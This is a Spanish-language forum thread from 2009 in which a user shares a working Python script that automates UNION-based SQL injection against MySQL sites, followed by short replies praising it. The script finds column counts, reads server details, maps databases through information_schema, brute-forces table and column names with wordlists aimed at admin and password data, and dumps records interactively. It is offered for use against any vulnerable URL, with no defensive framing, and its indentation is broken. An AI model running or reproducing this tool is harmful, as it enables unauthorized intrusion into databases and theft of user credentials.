[Tool][python] Mi herramienta para SQLi en mysql

Iniciado por braulio--, 28 Noviembre 2009, 19:57 PM

0 Miembros y 1 Visitante están viendo este tema.

braulio--

Bueno , aquí les dejo una herramienta muy útil que ahorra mucho trabajo muchas veces, os dejo unas capturas.
Encuentra la estructura de la bd por information_schema y si no hay brutea el nombre de las tablas y columnas.

Siendo esa la web con SQLi :

Si escribes :
./sqli [urlvulnerable] -c
Podrás ver los registros de la tabla que tu quieras .

Si haces :
./sqli [urlvulnerable] -r
Te dirá todas las bases de datos ,tablas y columnas menos las del information_schema (porque son muchas y no tan necesarias).
Si no pones ni -r ni -c te hará las dos.
Código (python) [Seleccionar]

#!/usr/bin/python
import urllib2,sys,string
# Sql injector helper by braulio23
# Usage sql.py http://host/app?vulnparameter=
# Example : sql.py http://localhost/sql.php?id=
def entre(code,delimita):
try :
 for numero in range(len(code)):
   if code[numero:numero+len(delimita)]==delimita:
      indice1=numero+len(delimita)
      break
 for numero2 in range(indice1+1,len(code)):
   if code[numero2:numero2+len(delimita)]==delimita:
      indice2 = numero2
      return code[indice1+1:indice2]
except : return False    
def codigo(url):
return urllib2.urlopen(url).read()
def char(cadena):
cadena+="~"
returned = "char("
for caracter in cadena:
  returned+=str(ord(caracter))
  if caracter!="~": returned+=","
return returned+")"
def encontrar(code,cadena):

   longitudcode = len(code)

   longitudcadena = len(cadena)

   for indice in range(0,longitudcode-4):

       if code[indice:indice+longitudcadena]==cadena:      

           return 0
def consultacorrecta(url,listadecosasaencontrar):
 pagina = urllib2.urlopen(url)
 codigo = pagina.read()
 for cosa in listadecosasaencontrar:
   if encontrar(codigo,cosa)==0:
     return True
 return False  
def printable(urlbase,numero,columnas):
 urlbase+="-1%20union%20select%20"
 listadecosas = []
 for a in range(columnas):
   if a==numero:
     urlbase+=char('aaabaaabaaabaaabaaabaaabaabababab')
     listadecosas.append('aaabaaabaaabaaabaaabaaabaabababab')
   else :
     urlbase+='concat(202020,'+str((a+1)*31337)+')'
   if a!=columnas-1 : urlbase+=','
 return consultacorrecta(urlbase+'%20--',listadecosas)
def obtenerdato(urlbase,printables,columnas,variable,tabla='okokokok',limit=0):
urlbase+="-1%20union%20select%20"
for a in range(columnas):
 if a==printables:
   urlbase+='concat('+char('%%%%')+','+variable+','+char('%%%%')+')'
 else :
   urlbase+=str(a)
 if a!=columnas-1 : urlbase+=","
if tabla != 'okokokok' : urlbase+='%20from%20'+tabla
urlbase+='%20limit%20'+str(limit)+',1'
code = codigo(urlbase+'%20--')
return entre(code,'%%%%')
def datosgenerales():
global columnasprintables
print '[+] Version ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'version()')
print '[+] Usuario ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'current_user()')
print '[+] Base de datos ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'database()')
def estructuraconschema():
print "[+]Bases de datos"
i=0
while obtenerdato(urlvulnerable,columnasprintables[0],numero,'schema_name','information_schema.schemata',i)!=False:
 database = obtenerdato(urlvulnerable,columnasprintables[0],numero,'schema_name','information_schema.schemata',limit=i)
 print "[-------------------->]",database
 j=0
 while obtenerdato(urlvulnerable,columnasprintables[0],numero,'table_name','information_schema.tables%20where%20TABLE_SCHEMA='+char(database)[:len(char(database))-5]+')%20AND%20table_schema!='+char('information_schema')[:len(char('information_schema'))-5]+')',j)!=False:
  tabla = obtenerdato(urlvulnerable,columnasprintables[0],numero,'table_name','information_schema.tables%20where%20TABLE_SCHEMA='+char(database)[:len(char(database))-5]+')%20AND%20table_schema!='+char('information_schema')[:len(char('information_schema'))-5]+')',j)
  print "[------------>]",tabla
  k=0
  while obtenerdato(urlvulnerable,columnasprintables[0],numero,'column_name','information_schema.columns%20where%20TABLE_NAME='+char(tabla)[:len(char(tabla))-5]+')',k)!=False:
    columna = obtenerdato(urlvulnerable,columnasprintables[0],numero,'column_name','information_schema.columns%20where%20TABLE_NAME='+char(tabla)[:len(char(tabla))-5]+')',k)
    print '[--->]',columna
    k+=1
  print '\n'
  j+=1
 i+=1
def consultas():
print "---- Consulta personalizada ----"
db=""
while 1:
  db = raw_input("(Escribe Salir para salir) Nombre de la base de datos : ")
  if db=="Salir" : break
  tabla = raw_input("Nombre de la tabla  : ")
  columnas = raw_input("Nombres de las columnas (separadas por comas) : ")
  columnas = columnas.replace(',',",0x20,")
  for lolo in range(1000):
    resultado = obtenerdato(urlvulnerable,columnasprintables[0],numero,'concat('+columnas+')',db+'.'+tabla,lolo)
    if resultado!=False:
      print "Resultado :",resultado
    else :
      print "Ya no quedan mas registros "
      break  
listatablas = ['admin','tblUsers','tblAdmin','user','users','username','noticias','usernames','usuario',
 'name','names','nombre','nombres','usuarios','member','members','admin_table',
 'miembro','miembros','membername','admins','administrator',
 'administrators','passwd','password','passwords','pass','Pass',
 'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
 'member_password','mods','mod','moderators','moderator','user_email',
 'user_emails','user_mail','user_mails','mail','emails','email','address',
 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
 'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
 'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
 'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
 'sistema_usuario','sistema_password','contraseña','auth','key','senha',
 'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
     'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
     'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
     'associated','accnt','customers','customer','membres','administrateur','utilisateur',
     'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
     'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
 'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO','news']
listacolumnas = ['admin_name','codigo','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
         'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
         'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
         'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
         'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
         'user_pwd','u_pass','clave','usuario','contraseña','pas','sistema_password','autor','upassword','web_password','web_username']
urlvulnerable = sys.argv[1]
columnasprintables = []
print "-----> Cuestiones principales <-----"
for numero in range(500):
  listadecosas=['159753159753']
  urlatestear = urlvulnerable
  urlatestear += "-1%20union%20select%20"
  for columna in range(numero):
    urlatestear+="concat(20101010,"+str((columna+1)*31337)+")"
    listadecosas.append("20101010"+str((columna+1)*31337))
    if columna!=numero-1: urlatestear+=","
  if consultacorrecta(urlatestear+"%20--",listadecosas):
    urlcorrecta = urlatestear
    print "[+] La tabla tiene ",numero,"columnas"
    break
for a in range(numero):
  if printable(urlvulnerable,a,numero):
    columnasprintables.append(a)
if len(sys.argv)<3: sys.argv.append('-rc')
if sys.argv[2]=='-r' or sys.argv[2]=='-rc':
print "-----> Variables generales <-----"
datosgenerales()
if obtenerdato(urlvulnerable,columnasprintables[0],numero,'1','information_schema.tables')!=False:
 print "[+] Tiene information_schema "  
 print "---> Estructura de la base de datos <---"
 estructuraconschema()
else :
 print "[-] No tiene information_schema "
 print "-----> Bruteando tablas <------"
 for tabla in listatablas:
  if obtenerdato(urlvulnerable,columnasprintables[0],numero,'4',tabla)!=False:
   print "[->] Tabla ",tabla,"encontrada"
   for columna in listacolumnas:
     if obtenerdato(urlvulnerable,columnasprintables[0],numero,columna,tabla)!=False:
        print "[-->] Columna ",columna,"encontrada"
if sys.argv[2] == '-c' or sys.argv[2]=='-rc':
consultas()

PD: el code es muy feo porque lo programé tarde por la noche.

Suerte.

WHK

aaah genial, octalh habia hecho uno similar pero en php.
Lo agregaré al recopilatorio de herramientas ^^

Leyer

 :o se parece full al  mio solo que la mia esta en Java y no muestra los resultados por consola  :-\ esta genial braulio.

Saludos.

anarquistadel89


anarquistadel89@googlewave.com

braulio--